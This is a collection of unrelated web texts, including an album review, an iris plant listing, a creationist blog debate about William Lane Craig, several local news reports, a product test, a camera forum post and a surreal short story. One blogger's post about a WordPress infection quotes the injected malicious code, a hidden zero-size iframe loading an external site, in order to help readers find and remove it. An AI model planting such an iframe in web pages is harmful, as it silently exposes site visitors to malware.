Crimson is a great album that is both progressive and melodic. EoS have created a must have album that could even be appreciated by those who don't listen to extreme music for its depth and the creativity. Do yourself a favor and find this album.
Originally reviewed at http://abaddonsmetalshop.blogspot.com/


text:
Standard Dwarf Bearded Iris 'Baby Boom'
|Iridaceae (eye-rid-AY-see-ee) (Info)
|Iris (EYE-ris) (Info)
|Baby Boom
|by Byers
|Registered or introduced:
Standard Dwarf Bearded (SDB)
6-12 in. (15-30 cm)
12-18 in. (30-45 cm)
9-12 in. (22-30 cm)
12-15 in. (30-38 cm)
15-18 in. (38-45 cm)
USDA Zone 3a: to -39.9 �C (-40 �F)
USDA Zone 3b: to -37.2 �C (-35 �F)
USDA Zone 4a: to -34.4 �C (-30 �F)
USDA Zone 4b: to -31.6 �C (-25 �F)
USDA Zone 5a: to -28.8 �C (-20 �F)
USDA Zone 5b: to -26.1 �C (-15 �F)
USDA Zone 6a: to -23.3 �C (-10 �F)
USDA Zone 6b: to -20.5 �C (-5 �F)
USDA Zone 7a: to -17.7 �C (0 �F)
USDA Zone 7b: to -14.9 �C (5 �F)
USDA Zone 8a: to -12.2 �C (10 �F)
USDA Zone 8b: to -9.4 �C (15 �F)
Sun Exposure:
Full Sun
Parts of plant are poisonous if ingested
Bloom Color:
Pale Yellow
Bloom Time:
Extra early (EE)
Early (E)
Early midseason (EM)
Midseason (M)
Late Midseason (MLa)
Late (La)
Very late (VLa)
Reblooming (Re)
Other details:
Soil pH requirements:
6.1 to 6.5 (mildly acidic)
6.6 to 7.5 (neutral)
7.6 to 7.8 (mildly alkaline)
Patent Information:
Propagation Methods:
By dividing rhizomes, tubers, corms or bulbs (including offsets)
Seed Collecting:
N/A: plant does not set seed, flowers are sterile, or plants will not come true from seed
Awards (if applicable):
Honorable Mention
Foliage Color:
Bloom Characteristics:
Water Requirements:
Average Water Needs; Water regularly; do not overwater
Where to Grow:
This plant has been said to grow in the following regions:
Deer River, Minnesota
Beaver Falls, Pennsylvania
Gardeners' Notes:
On Oct 22, 2005, laurief from Deer River, MN (Zone 3b) wrote:
Most standard dwarf beardeds (SDBs) do quite well in my growing conditions. This northern MN zone 3b climate inflicts severe, extended cold during the winter months, often with little snow cover for insulation. The summer growing season is short with temps that sometimes exceed 90 degrees F. My soil is very heavy, compacted clay with a slightly acid pH, though I grow my irises in well-amended, raised beds or windrows with improved friability and drainage. A large local deer population frequently tramples and sometimes grazes on my irises in early spring and late fall. Iris borers are present but managed successfully with a granular systemic grub control product. Weeds are abundant and only occasionally beaten back by an admittedly lazy gardener (yours truly). Fertilization is inconsistent,... read more
On Sep 21, 2005, Joan from Belfield, ND (Zone 4a) wrote:
Awards: American Iris Society Honorable Mention 1994


text:
Is apologist William Lane Craig a follower of Darwin?
|October 31, 2013
|Posted by News under Christian Darwinism, News
Or is there some misunderstanding?
If so, why now, for crying out loud, when even atheists are checking out at various points?:
They are saying that Darwin's theory (whether someone wants to call it neo-Darwinism instead or claim to not be "that kind of Darwinist" or whatever) has maxed out its value in the world of ideas.
Michael Flannery, writes to say,
I was very disappointed to see this exchange by William Lane Craig. Sadly, Craig claims that "most Christians have come to terms with Darwinian evolution" and then proceeds to describe a wholly unDarwinian process of evolution that any plain reading of Descent of Man would reject. Actually, the position that Craig outlined was much closer to Wallace's, which earned him an "Ehue!, Ehue,Ehue! – Your miserable friend Darwin." Craig's whole response is an uncharacteristically jumbled mess.
Darwinism does that to people, especially now that the stench from the head is reaching the pectoral fins.
From philosopher/photographer Laszlo Bencze, who noted the same vid:
As soon as you say, "God used evolution…" as Craig does, you're not talking about evolution as understood by any Darwinian. What you're talking about is some form of creation. If you're talking about creation, you are not a Darwinian and you have not "come to terms with evolution." You are merely a muddled Christian who can't see a contradiction staring him in the face.
The great mid-twentieth century apologist C.S. Lewis tried playing footsie with Darwin, and ended up regretting it. Worse, he ended up selectively quoted in order that Darwin's truer followers could pretend he was really a supporter—of a system of thought that is in fact the creation story of an increasingly isolated and fanatical brand of materialist atheism.
Maybe Craig needs someone to put him in the picture about what's been happening in the last few years?
19 Responses to Is apologist William Lane Craig a follower of Darwin?
I've been disappointed with Dr. Craig of late in terms of his knowledge of biology (not to mention his recent very uncharitable dissing of YECs. I thought it was very rude coming from Dr. Craig, even though I am not a YEC myself, and even though I have chided YECs myself). Dr. Craig started out with such promise for ID when he defended Dr. Behe's basic thesis in 'The Edge of Evolution' against Dr. Ayala several years ago.
In this following video Dr. William Lane Craig is surprised to find that evolutionary biologist Dr. Ayala uses theological argumentation (Theodicy) in his book to support Darwinism and invites him to present evidence, any evidence at all, that Darwinism can do what he claims it can:
Refuting The Myth Of 'Bad Design' vs. Intelligent Design – William Lane Craig – video
Entire debate can be viewed here;
Is Intelligent Design Viable? A Debate: Francisco Ayala vs William Lane Craig
But alas, it seems clear Dr. Craig has forgotten what he learned for that debate and has been consumed with keeping up with the cosmological arguments he is so well known for, and has fallen behind in the biological arguments for design that have gotten much stronger over these past several years since he had that debate with Ayala.
William Lane Craig On Evolution:
3Robert ByersOctober 31, 2013 at 11:04 pm
Christians are species and not a single species. Evangelical Christians don't accept evolution. Its not true or rather backed up by good evidence to overcome the great evidence that the bible is Gods word.
From the above video I linked, it seems Craig is NOT an advocate of Darwinism. And he's very skeptical of RM+NS as a creative process. Craig seems to maybe be in the same camp as Behe.
Genesis 1:31
"And God saw every thing that he had made, and, behold, it was very good. And the evening and the morning were the sixth day." – KJV
If God used evolution. Then death existed before man & sin. And with all the earth's strata filled with billions of dead creatures, how could God say of every thing that He made thus far, that it was very good? Unless, people want to read that verse as figurative along with the rest of Genesis 1.
Romans 5:12
"Wherefore, as by one man sin entered into the world, and death by sin; and so death passed upon all men, for that all have sinned:" – KJV
Romans 8:22
"For we know that the whole creation groaneth and travaileth in pain together until now." – KJV
I agree with bornagain77. (O'Leary for News). Just muttering that Christianity is compatible with this or that does not cut it any more. Christianity is not in any way compatible with Darwinism, which explains Christianity as an adaptation for the survival of one's selfish genes, thus not even according it the dignity of possible truth that would enable a debate.
The question isn't – as so-dim Christian Darwinists/theistic evolutionists put it: Might God not have done it that way? If Darwinism is right, there not only isn't a God; there can't be. It is an aberration of the brain that promotes the survival of selfish genes by creating such an illusion. All Darwinian research into religion is based on that or a similar premise.
Which is why it is all so terminally stupid.
If Craig does not know this he should read up on it before he opens his mouth on the subject again.
As to death coming before the fall:
Old Earth Creationism and the Fall, William Dembski – Christian Research Journal, volume 34, number 4(2011).
Excerpt: My solution (to Theodicy) in my book "The End of Christianity is to argue that, just as the effects of salvation at the cross reach both forward in time (saving present day Christians) and backward in time (saving Old Testament saints), so the effects of the fall reach forward in time as well as backward. What makes the argument work is the ability of God to arrange events at one time to anticipate events at a later time.,,,
But is there actual scientific evidence that a 'free will' choice can reach back in time billions of years ago so as to give Dr. Dembski's Old Earth position plausibility? Yes!
"Thus one decides the photon shall have come by one route or by both routes after it has already done its travel"
John A. Wheeler
Alain Aspect speaks on John Wheeler's Delayed Choice Experiment – video
Wheeler's Classic Delayed Choice Experiment:
Excerpt: Now, for many billions of years the photon is in transit in region 3. Yet we can choose (many billions of years later) which experimental set up to employ – the single wide-focus, or the two narrowly focused instruments. We have chosen whether to know which side of the galaxy the photon passed by (by choosing whether to use the two-telescope set up or not, which are the instruments that would give us the information about which side of the galaxy the photon passed). We have delayed this choice until a time long after the particles "have passed by one side of the galaxy, or the other side of the galaxy, or both sides of the galaxy," so to speak. Yet, it seems paradoxically that our later choice of whether to obtain this information determines which side of the galaxy the light passed, so to speak, billions of years ago. So it seems that time has nothing to do with effects of quantum mechanics. And, indeed, the original thought experiment was not based on any analysis of how particles evolve and behave over time – it was based on the mathematics. This is what the mathematics predicted for a result, and this is exactly the result obtained in the laboratory.
via bottom layer delayed choice
Genesis, Quantum Physics and Reality
Excerpt: Simply put, an experiment on Earth can be made in such a way that it determines if one photon comes along either on the right or the left side or if it comes (as a wave) along both sides of the gravitational lens (of the galaxy) at the same time. However, how could the photons have known billions of years ago that someday there would be an earth with inhabitants on it, making just this experiment? ,,, This is big trouble for the multi-universe theory and for the "hidden-variables" approach.
In fact free will is found to be axiomatic to Quantum Mechanics:
What Does Quantum Physics Have to Do with Free Will? – By Antoine Suarez – July 22, 2013
Excerpt: What is more, recent experiments are bringing to light that the experimenter's free will and consciousness should be considered axioms (founding principles) of standard quantum physics theory. So for instance, in experiments involving "entanglement" (the phenomenon Einstein called "spooky action at a distance"), to conclude that quantum correlations of two particles are nonlocal (i.e. cannot be explained by signals traveling at velocity less than or equal to the speed of light), it is crucial to assume that the experimenter can make free choices, and is not constrained in what orientation he/she sets the measuring devices.
To understand these implications it is crucial to be aware that quantum physics is not only a description of the material and visible world around us, but also speaks about non-material influences coming from outside the space-time.,,,
Can quantum theory be improved? – July 23, 2012
Excerpt: However, in the new paper, the physicists have experimentally demonstrated that there cannot exist any alternative theory that increases the predictive probability of quantum theory by more than 0.165, with the only assumption being that measurement (observation) parameters can be chosen independently (free choice, free will, assumption) of the other parameters of the theory.,,,
,, the experimental results provide the tightest constraints yet on alternatives to quantum theory. The findings imply that quantum theory is close to optimal in terms of its predictive power, even when the predictions are completely random.
Now this is completely unheard of in science as far as I know. i.e. That a mathematical description of reality would advance to the point that one can actually perform a experiment showing that your current theory will not be exceeded in predictive power by another future theory is simply unprecedented in science! And please note that free will and consciousness are axiomatic to Quantum Theory in this notable experiment.
As to free will and the problem of evil:
Is God Good? (Free will and the problem of evil) – video
Also of note to the 'problem of evil', both Charles Darwin and Abraham Lincoln were born on the same day and shared many strange similarities in their lives, but the one common thing they shared that separated the two men drastically was the way they choose to handle the evil that happened in their lives. Darwin, though drifting away from God for a long while, was permanently driven away from God because of what he perceived to be the 'unjust' death of his daughter, Whereas Lincoln, on the other hand, was driven from his mild skepticism into a deep reliance upon God because of the death of his son.
Thus it seems we all still have a very important choice to make for ours lives in how we shall choose to respond to evil. Do we blame God for it or do we seek God for help from it?
Related video
Ravi Zacharias – How To Measure Your Choices – video
You must measure your choices by the measure of
1) eternity
2) morality
3) accountability
4) charity
Verse and Music:
Deuteronomy 30:19
I call heaven and earth to witness against you today, that I have set before you life and death, blessing and curse. Therefore choose life, that you and your offspring may live,
Held- Natalie Grant – music video
8CalvinsBulldogNovember 1, 2013 at 6:00 am
This is interesting to me. As a Young Earth Creationist (YEC), I have long valued Dr. Craig for his historical arguments but utterly rejected some of his scientific ones. It demonstrates the diversity of fabric within Christianity on this issue.
Most – probably all – YEC take their position for theological reasons. I believe that the YEC position is most consistent with the scriptures, although understandably not consistent with a materialist culture.
Theistic Evolution proponents usually aim to reconcile theology with science. I do not think they succeed, but they evidently disagree with me. I think Dr. Craig falls into this category, and it does not surprise me that he should do so. In terms of authority, he generally puts philosophy before theology. I do not dispute that philosophy is important, but some of his conclusions are at odds with biblical theology.
Theology matters. Ultimately I do think our theology determines the position we take on these matters.
Craig needs to take a break, I think. Glad I'm not alone in noticing some of his inconsistencies.
I'd like to know what any theistic evolutionists(TE), that otherwise proclaim scripture as true, read this verse:
Romans 5:12
"Wherefore, as by one man sin entered into the world, and death by sin; and so death passed upon all men, for that all have sinned:" – KJV
If man emerged from some ape-ish ancestor, where those ancestors were apparently, just like as today suffering death.
How does the TE reconcile the above verse into their theology? Would the TE claim that once the dying ape ancestors evolved into the first man, some fuzzy line between man and apeness, that the "fisrt man" was somehow free of that death cycle?…only to rediscover it after he sinned?…
…or would the TE argue death only means death in the spiritual sense? (Which I think can be refuted.)
11LarTannerNovember 1, 2013 at 10:43 am
Glad I'm not alone in noticing some of his inconsistencies.
Atheists have been pointing out these inconsistencies for years. Glad to see y'all catching up to the curve.
Don't flatter yourself. The inconsistencies or issues one would have if believing Darwinism along with a Christian faith has been recognized by Christians since the inception of Darwinism.
Regardless, Craig almost certainly isn't a Darwinist. He seems borderline with some other type of macro-evolution.
And most Christians a century ago would have still considered any form of theistic evolution as problematic – especially when a literal interpretations of Genesis 1 was typical.
No surprise when Craig said, once you get rid of that literal interpretation of Genesis 1, you can interpret it in many ways. This might be another argument, among Christians, for a literal interpretation of Genesis 1.
13wgbutlerNovember 1, 2013 at 12:32 pm
Really guys, aren't there enough militant atheists out there to go after instead of targeting people like Dr. Craig for not having the theologically correct views on Genesis 1 (whatever they are supposed to be)?
Dr. Craig has been agnostic for the most part on the Genesis 1 issue because his whole strategy is to make it irrelevant to the discussion as to whether or not God exists. That's why he specializes in the cosmological arguments for God's existence (which are extremely powerful), the moral argument, and the evidence for the resurrection of Christ.
It's impossible to be an expert on everything, and rather have the debate get quagmired into a discussion on biology, which Dr. Craig candidly admits that he is not an expert on, he circumvents this whole topic and makes it irrelevant.
You are playing into the atheists hands when you focus on biological evolution. And for the record, I am not a Darwinist and strongly believe that the evidence of biology points to design. But don't criticize Dr. Craig for electing to focus the greater discussion on other areas that he is stronger in.
I have to agree in some sense with you. We already know there are TE's out there. Anyway, there are arguably bigger fish to fry knowing that. Though disappointed with his apparent TE view, Craig is at least keeping atheists & anti-theists in check with arguments in other big areas – e.g. the basis of morality, the 'problem of evil' and the existence of God.
But in defense of keeping the house clean. I'm still concerned that a TE view could throw him, and others that might follow his arguments, serious off balance… perhaps, somehow jeopardizing much that has been already successfully argued.
Colossians 2:8 Beware lest any man spoil you through philosophy and vain deceit, after the tradition of men, after the rudiments of the world, and not after Christ.
'I've been disappointed with Dr. Craig of late in terms of his knowledge of biology (not to mention his recent very uncharitable dissing of YECs. I thought it was very rude coming from Dr. Craig, even though I am not a YEC myself, and even though I have chided YECs myself).'
Same here, Philip. Surprised, too, that he could be so out of touch that he wasn't familiar with Darwinists' farcical claims that Evolution is absolutely established science, as certain as gravity! While deeply-impressed Darwinist biologists express their amazement at the endless cornucopia of surprises, seemingly(!) in the form of unambiguous counter-evidence, that their studies keep throwing up!
'O My! Isn't Evolution something! Always surprising us… (sotto voce) with its wretched, confounded, ornery, recalcitrance.. verging on truculence.'
WGB, I don't think Dr Craig will be hurt by criticism not inspired by malice, or that a technical knowledge of biology is necessary, to learn from those who do have it, the fundamental issues concerned.
WLC is not a Young Earth Creationist. Therefore his theology is wrong. Therefore he is a danger to Christianity. If I were out to undermine the Gospel message I'd pose as an apologist myself.
Sure, LarsTanner. He's a pushover for y'all. Ask Sam Harris.
No need to throw the baby out with the bath water. It's apparent that WLC has not considered the biological evidence with the same rigor he has the cosmological evidence, the evidence of the resurrection, and etc. When I want to know something about cosmology, he's my go to. When I want to know something about biology, there's Meyer, Behe, Dembski, and etc.
WLC is (obviously) a smart man. If he took a little time studying biology (I imagine it just doesn't interest him from what I've heard him say on the subject) he'd reach many of the same conclusions this site promotes (independently I might add).
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A man was jailed for five years yesterday after being found with a stun gun disguised as a mobile phone.
Strict firearm controls meant the innocent looking device landed Tony Phillips with the mandatory five-year term.
It was found by cops in his kitchen cupboard during a search of his home.
Closer examination revealed it was a Chinese-made hand-held stun gun capable of shooting electric impulses.
Such weapons are classed as prohibited firearms, meaning anyone caught with them faces a mandatory minimum prison term of five years.
Phillips, who had never been to jail before, claimed a friend had left the gun at his house some time ago and he put it in the cupboard and had "forgotten" about it.
But Judge John Milford QC told him: "Although this is a non-lethal weapon the legislation designates it as a firearm.
"It is a disguised firearm and the minimum sentence is five years unless there are exceptional circumstances.
"Your counsel says there are exceptional circumstances in that this is a non-lethal weapon.
"However, had Parliament wished to distinguish such a weapon it would have done so and it did not."
Police found the stun gun during the search on an unrelated matter at Phillips' home in Pelaw, Gateshead last June, Newcastle crown court heard.
Michael Bunch, prosecuting, told how officers discovered the device.
"During the search, what appeared to be a mobile phone was recovered in a box in the kitchen cupboard," he said.
"That was examined and found to be a Chinese-made hand held stun gun. The device operated normally using electric impulses."
Phillips, 32, claimed a friend had brought the gun to his home in 2011.
He claimed the friend had left it behind and he had put it in the cupboard.
Phillips pleaded guilty to possessing a disguised weapon.
Glenn Gatland, mitgating, said: "It was boxed and in the original bag, it does not appear to have been opened.
"Although it is a firearm within the statute it was designed as a non-lethal self defence weapon capable of temporary incapacitation.
"That is a lot different from a lethal, barreled weapon."
* How our sister website the Newcastle Evening Chronicle is reporting the story.


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It made fanboys giddy, but what about everyone else? Kinda, though it probably won't be the mega hit that many were predicting. Still, the film took in $7.6 million in its Friday opening, and adding in the $12.4 million from overseas, Matthew Vaughn's foul-mouthed superhero comic book movie has grossed about $20 million so far in one day of release.
The film is expected to take in around $20 million over the weekend in the States alone, and although that will probably be about $10 million short of industry expectations, there's no reason why the film shouldn't easily recoup its estimated $30 million production budget and make a nice profit for Vaughn and Lionsgate, who paid $25 million for the film's Stateside distribution rights after the movie's successful Comic Con debut. As well, the film should prove to be a hit on DVD, and I can already see the wealth of special features — comic to screen, a pile of deleted scenes, etc.
So while "Kick Ass" wasn't the big hit everyone expected, I think it's safe to say that it still did reasonably kick ass business.


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The importance of defining a requirements management information architecture
VijaySankar 270000E5JQ Visits (8141)
Neal Middlemore has over 14 years of experience in requirements management, this encompasses the associated disciplines of change management of requirements and vali
One of the most fundamental benefits that businesses want to get from using requirements management tools is consistent traceability. It doesn't matter if it is an IT system being developed or an aircraft carrier, the levels of complexity being dealt with determine that traceability across multiple levels of requirements, from stakeholder requests to detailed implementation, is not simple to maintain manually.
Further hurdles are put in our way by the need to comply with legislative requirements, so many different industries these days have requirements placed upon them by government and international standards bodies along with internal corporate standards.
To prove compliance with these legislative rules it is necessary for projects to not only prove that requirements are being managed but also to provide the how and where of their management. What features relate which stakeholder request? What aspects of the solution satisfy safety regulations? Has the realization of the requirement been tested and by whom on what platform?
To answer these questions it is necessary to utilize the traceability capabilities provided by modern tools but it's not enough to let a tool decide how things relate to each other, it isn't enough to let individual users decide these relationships. Traceability needs to be considered in the larger context of how you report on it to answer the very questions that led you to consider traceability for in the first place. It's more than 'does object A relate to object B?'.
An initiative to define an information architecture of your governance solution will assist in defining your process artifacts and their relationships to one another. Traceability becomes an asset rather than an overhead. A good way to begin such an initiative is having a workshop attended by all project stakeholders i.e. those who have a vested interest in ensuring project success. Most likely these attendees will have a good understanding of the process and what the project needs to deliver. Undoubtedly each will also bring differing perspectives and understanding of what information is required.
The test manager may want to see traceability from individual test artifacts through to the requirements being tested or to determine regulatory compliance has been achieved and whether verification methods have been agreed.
A subject matter expert (SME) may want to see the design in the context of the system level requirements and how it relates to stakeholder requirements.
Everybody wants to see something that is applicable to their job roles, even wishing to see things outside of their typical discipline domains. By asking the questions and documenting the answers you can start to put together an information architecture that makes sense for your project. It's likely that many information architectures will exist. Not every project is the same and these will have differing sets of required attributes, views and reports of project information and agreed structure of inter artifact relationships.
Modern tools can often create templates for this kind of information to allow the deployment of additional artifact containers as and when required. These can even enforce traceability to ensure the integrity across the project. Above all, it is vital that the needs of the project is documented and communicated alongside of the information architecture to all project members.


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Jummel Hidrosollo / Special to the Home News
Saturday, Jan. 10, 2009 | 4:01 p.m.
Hundreds of local residents attended the grand opening of the Centennial Hills Library on Saturday, and 3-year-old Lizzie Creed had only been inside for a few minutes before selecting her first book — "Disney Story Time."
"We're very excited," said her mother, Lisa Creed of Centennial Hills. "Before this opened, we had to make the drive to the Rainbow Library. We only live a mile away from here, so we'll be coming here a lot."
Centennial Hills Library is located at 6711 N. Buffalo Drive near the intersection of the 215 Beltway and Centennial Parkway, adjacent to the Centennial Hills Community Center.
Construction of the $20 million project began in July 2007, said Thomas Schoeman, president of JMA Architecture.
At 32,431 square feet, Centennial Hills Library features 110,000 volumes, 42 public computers, a café and wireless Internet access. There is also a young adult library, art gallery and 1,200-square-foot multipurpose room.
The library also utilizes numerous sustainable features, Schoeman said.
"This is an environmentally responsible building," he said. "Water consumption is 30 percent below the minimum energy guidelines and energy consumption is 40 percent below."
The building extensively uses natural lighting to minimize the amount of electricity needed during daylight hours, with large windows and skylights throughout its hallways and main rooms.
Several local politicians were in attendance at the grand opening, including Mayor Oscar Goodman, County Commissioner Larry Brown of District C and City Councilman Steve Ross of Ward 6.
Goodman received a private tour of the new library before the festivities began.
"It's absolutely breathtaking," Goodman said. "It's awesome. This building is going to be the foundation for so much activity and culture that will benefit everyone in our community."
Brown said he was impressed by the commitment shown by the Clark County Library District's Board of Trustees in seeing the project come to fruition.
"Their ability years ago to create a vision where they could set aside dollars during the good times, to be able to build this type of facility in the tough times, is amazing," Brown said.
For more information about the Centennial Hills Library and its upcoming programs, visit www.lvccld.org.
Jeff O'Brien can be reached at 990-8957 or [email protected].


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(WXIA) -- As a stay-at-home mom, Erin Casper knows low-cut sweaters and tops are fine for her to wear most of the time. However, they aren't so appropriate for church or school events.
"When I have low-cut tops like this, which I love, I kind of want to cover when I don't want too much to show," she says.
Erin wants to try Cami Secret, which claims it can make a low-cut blouse ready for the office in mere seconds. For $10, it provides three colors -- white, black and beige.
Cami Secret is one-size-fits-all and clips to bra straps. It sounds simple, but Erin finds it's actually a little complicated.
"These clips are tricky," she says. "This has already snapped off."
But she likes the way the product looks with her sweater.
"That does look cute," she says.
Next, Erin changes into a dress.
"If I went to work or something in this, I wouldn't want all this showing," she says.
So she adds a black Cami Secret to make the dress more modest. Right away, she has some concerns.
"It does look a little bit wrinkly. It's not staying straight," she says. "There's not much here to support it and hold it down, so if you move around too much, this could come out."
The product is made of light, breathable fabric with a pretty lace trim, which means it must be washed by hand. But is it worth adding to Erin's wardrobe?
Because of some of the problems she encountered, Erin gives Cami Secret a mixed review.


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I received an email the other day that I was affected malware! (WTF?!) Thanks Zuzia for the heads up! As I didn't notice it since I was offline for a bit! :)
I did a little searching on this and all I could find was this! Help With WordPress Vulnerability and the problem is more or less indicated by the presence of the following code in your html and php files!
<iframe src="https://m-analytics.net/qaqa/?daf02d89f0bb66c3b4a9ff31da01e10a" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
To tell you the truth, this is pretty damn annoying! I'm still trying to track down the cause because it only hit me here (at Bluehost) where I host 7 blogs (Yes all 7 were hit) however at my other hosting service (iPower) where I host 3 blogs, I was not affected. So I blame Bluehost! :)
Some tips (if you have shell access) to fix this, is to:
grep m-ana * –r
Then go through one by one and clean up your fricking files (omfg this sucks!) but I don't really have the time to write a script for it, nor the scripting skillz around that ;)
So, if you've been affected, clean it up! If you haven't be, hooray!
Oh, and sorry for anyone annoyed by the 'malware site' message popping up when visiting any of my sites!


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Start using my D700 and it's now playing up...
Anyone else had this problem ??
I've started getting into taking sunrises, getting up and going to frosty/misty locations..... (only done this for the last 3-4 times now in a row)
Yesterday, my camera (D700, low usage, less than 2 years old and treated very well), started having problems.
First I noticed that I'd use my Phottix Remote control and no preview of an image would appear. Try hitting the Preview button and nothing..... I'd click the camera's shutter release and nothing, no click etc. Turn off the camera and turn it back on, then click the shutter release via the camera body and the shutter would click, but no preview again (battery fine). Switch off camera, take out battery, reinsert and the same thing i.e. shutter would click but no preview (couldn't tell if the camera was actually taking a picture and storing it on the card).
Now, I find the that focus point is stuck and will not move about the screen ??????
Is taking pictures okay, just now I have to focus manually as I can't move the focus point to where I need it (though the AF-on button works).
Nothing I can do seems to fix this (tried other lenses).
Any ideas (it does have about 2months remaining on warranty so of course I could send it in - and be camera-less during an unusually active, for me, period)
Kind regards,
Jez EMIN
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|Posted by
|Oct 17, 2011
|Oct 17, 2011
|Oct 17, 2011


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A HOUSE fire in which a 32-year-old woman died has been deemed non-suspicious following an investigation.
Police this morning confirmed the identity of the woman killed in the blaze, which started at about 10.30am on Saturday (March 1), in Brunton Street Darlington.
She was 32-year-old Louise Hardisty.
Loading article content
A Durham Police spokesman said: "Following a joint investigation the fire has been deemed as non-suspicious.
"The police and fire service would like to remind the public to check their smoke alarms regularly to ensure they are working correctly.
"Our thoughts are with Louise's family and friends."
Firefighters wearing breathing apparatus entered the house on Saturday morning, after neighbours reported smoke pouring from the kitchen.
Efforts to rescuscitate Ms Hardisty proved unsuccessful and she was declared dead at the scene.
More follows.


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Helen was a constant and scrupulous keeper of secrets. Doctors could have found them all over her insides, had they known what to look for, but the proper identification and extraction of secrets is almost never covered in medical school. She stored cheating on a third grade spelling test under her left eyebrow, crying at night because she was good at many things but great at none in the circles under her eyes, a brief flirtation with narcotics in the follicles of her hair, her first kiss at an eighth grade dance at the place where the lower teeth emerged from the gums, furtive eating binges in the inner flesh of her cheek, a 2:00 a.m. shriek for help that she had chosen to ignore up against her right eardrum.
It was not so bad as you might imagine. Some secrets even helped, providing a second skeleton. Her ongoing theft of lip glosses and hand sanitizers from the local pharmacy kept her spine straight. The kiss she had taken from Billy Stevens at last year's Christmas party, in direct defiance of office policy, rolled her hunching shoulders back.
That said, anything done in excess carries with it consequences, and this was no exception. After 26 years, the oldest secrets had staled and soured. The ones in her stomach made her queasy and sour-breathed, the ones in her sinuses crushed in on her skull. The expanding secrets in her joints caused her to walk with back bent and fingers clawed, like a scuba diver who has surfaced too quickly. Eventually, they started to make her feel bloated, not so much great with secrets as gassy with them.
For several months, she endured this pain, but eventually the truth became unavoidable: some of the secrets would have to come out. She decided to start with just one, to see how it felt and what its side effects would be.
One four a.m., after several restless hours spent selecting the perfect secret (not too shocking, not too dark, but substantial all the same), she shook Jeremy awake.
"Mmmmm?" he said.
The secret was lodged just above her bottom rib. She stretched her spine out as tall as she could to give the secret space, then dug her fingers in, prying at it with her nails. When it refused to yield, she curled her right hand into a fist. She raised and lowered it slowly over the back of her left hand. "One, two, and THREE," she whispered, slamming the fist down with all of her strength. The secret popped out, shooting through her vocal cords and out her lips on a bed of stale air: "Some days, I prefer women to men."
"Mmmmm?" Jeremy replied, having drifted back to sleep.
So she repeated herself.
"Y'mean," he slurred, "you love guys, but you don't always like us?"
"No no, I think I might prefer women." A stunned and uncomfortable silence overtook the room. "Well, I just wanted to say so. Now, go back to sleep." And, much to Helen's surprise, she drifted off almost immediately. Poor Jeremy had somewhat more trouble.
The next morning, Helen sprang from bed with a lightness she had never felt before. She danced around the kitchen while the coffee brewed. She hummed old show tunes while she washed her hair. On the bus, a total stranger asked what Helen used to make her skin so radiant. Helen's first impulse was to keep the secret of secret-telling, but of course, that would wholly undermine her new approach to life. After explaining, she caught her reflection in the bus window and was surprised to see herself glowing even more.
Helen and Jeremy had been invited to a dinner party with new friends, and when Jeremy was held up at work, Helen decided to go alone, even though she'd always been a bit of a wallflower. But telling a rapt audience about wandering drunk at 2:00 a.m. through Paris in search of her hotel, Helen felt the heaviness that had borne down on the corners of her mouth slip away and smiled more fully than she had in years.
The next morning, Helen released a secret she kept in the knuckle of her right pinky finger. She told the postman about a love letter she had almost mailed but destroyed instead, reciting from memory especially lyrical and lurid passages. On her lunch break, she told a teenaged dog walker about running over and killing a golden retriever without a collar. The dog walker cried at the story, and Helen did, too, her tears washing the gritty secret from her left eye. That evening over dinner, she told Jeremy about her high school crush, the captain of the football team, who laughed in her face when she confessed her adoration. Her heart fluttered, panicked to relive that dread combination of longing and shame, then let go its burden. That night, she and Jeremy enjoyed the best sex they'd had in months.
Secret-telling made Helen giddy, lightheaded even. Secret-telling proved so potent that she could only tell them at a rate of one an hour during evenings on the town, unless she had a designated driver. They gushed from her, marking the first time in her life that she might be deemed "effusive" rather than "taciturn" or "shy" or "aloof." They fizzed forth with great brays of laughter or were spat with a vengeance or poured out with tears during boozy confessions, but one way or another, she disgorged more and more.
Not everyone shared Helen's enthusiasm for these changes. Jeremy had preferred things before, but did still make an effort. One evening, Helen burst into the apartment, her eyes overbright and slightly manic laughter still rolling in her mouth, to find a ring of friends and relatives in her living room.
"Helen, please sit down," Jeremy said, gesturing to a chair. "Now, we don't want you to feel like we're lecturing you, or punishing you. We're just doing this because we care."
"Of course, sweetie," Helen said. She sat down, took a deep breath, and tried to calm herself, but it was no use. She felt a secret escape her tonsils. It careened repeatedly into the backs of her clenched teeth like a trapped housefly, then shot out through the gap between a lateral incisor and a canine. "I had a woman here when you were on your last work trip!"
"Helen, dear," her mother said, "We are very concerned."
"I lost my virginity with Adam Scott in the eleventh grade!" Helen replied, experiencing a delicious tickle as the secret wriggled free of her nether regions, "Even though you said I couldn't date him."
"That's enough now, Helen," her father said, "This really needs to stop."
She snorted a secret clear of her nasal passage and shrieked, "Uncle Leon sold me my first ever line of coke." No longer able to contain herself, Helen ricocheted out of her chair. "I was twenty-two. He gave it to me at a very good rate. He's a dealer, did you know?" And, while her father glared at his brother Leon, and Uncle Leon stared at his shoes, Helen zipped around the room with secrets for each friend and family member.
Helen was kept up late that night by a stomach ache. Acting on a hunch, she pulled up her shirt in front of the bathroom mirror. Her stomach was no more toned than it had been, but it swooped in aggressively, as if she'd sucked her belly in hard. She poked it and rubbed it, to no effect. Resolved to get to the bottom of it soon, if not right then, she tossed and turned restlessly in front of late night TV.
The next morning, Helen weighed herself. She had lost three pounds.
"Everything OK?" Jeremy asked, seeing the concern on her face.
"I'm losing a little weight, is all," Helen told him.
"Are you eating enough?"
"Yeah. I couldn't starve myself if I tried. I could, back in high school, but then I stopped being able to do that and was eating a whole ton and wanted to throw it up only I couldn't figure out how to get my gag reflex—" At that, Helen heaved over. Something was escaping, and although she tried to choke it down, up and up and up it came. She retched once, twice, and then the secret surged out on a stream of stomach bile and partially digested food. "To work," she started to say, but Jeremy held up one finger, urging silence. He closed his eyes and counted to ten then, without a word, left the apartment and did not return.
Cleaning up the mess, Helen berated herself for driving Jeremy away and for the pain that she had caused him. She could not stay sad for long, however. She was ever more fascinated with the act of turning herself inside out, offering up her inner life for strange communion with the world at large, never doubting its eagerness to partake. She was having too much fun to worry about the sudden pangs that afflicted her, or her continuous, increasingly dramatic weight loss. Finally, the pressure within her became too slight relative to that outside of her, and her body collapsed like a soda can with the air vacuumed out. One moment, she was voicing her opinions on the oedipal complex, using her own life as an example, and then with a pop and a crunch, she crushed in, bent, contorted, beyond help.
